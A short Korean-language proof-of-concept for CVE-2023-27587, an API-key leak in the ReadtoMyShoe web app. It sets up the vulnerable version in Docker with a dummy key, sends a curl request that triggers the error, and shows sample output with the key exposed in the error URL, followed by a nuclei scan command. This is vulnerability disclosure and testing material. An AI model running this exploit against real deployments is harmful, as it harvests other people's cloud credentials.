
CVE-2023-27587의 간단한 PoC
CVE-2023-27587의 간단한 PoC
ReadtoMyShoe(RTMS)는 기사를 업로드(URL 또는 직접 붙여넣기)하고 나중에 들을 수 있는 웹 애플리케이션(rust, yew, axum)입니다.
기사 추가 중 오류가 발생하면 웹사이트는 사용자에게 오류 메시지를 표시합니다. 오류가 Google Cloud TTS 요청에서 발생한 경우, 오류 메시지에는 요청의 전체 URL이 포함됩니다. 요청 URL에는 Google Cloud API 키가 포함되어 있습니다.
$ git clone https://github.com/rozbb/readtomyshoe.git
$ cd readtomyshoe && git checkout v0.2.0
$ echo "GCP_KEY_LEAKED_TEST" > server/gcp_api.key
$ DOCKER_BUILDKIT=1 docker build -t readtomyshoe-vul .
$ docker run -p 9382:9382 readtomyshoe-vul
키는 GCP 호출에서 오류가 발생할 때만 노출됩니다!
curl 'http://192.168.15.201:9382/api/add-article-by-text' -X POST \
-H 'Accept-Encoding: gzip, deflate' \
-H 'content-type: application/json' \
--data-raw '{"title":"Kernsicherheitstest","body":"Kernsicherheitstest"}'
TTS failed: TTS request failed
Caused by:
HTTP status client error (400 Bad Request) for url (https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=GCP_KEY_LEAKED_TEST%0A)

$ nuclei -t cves/2023/CVE-2023-27587.yaml -u http://<host>
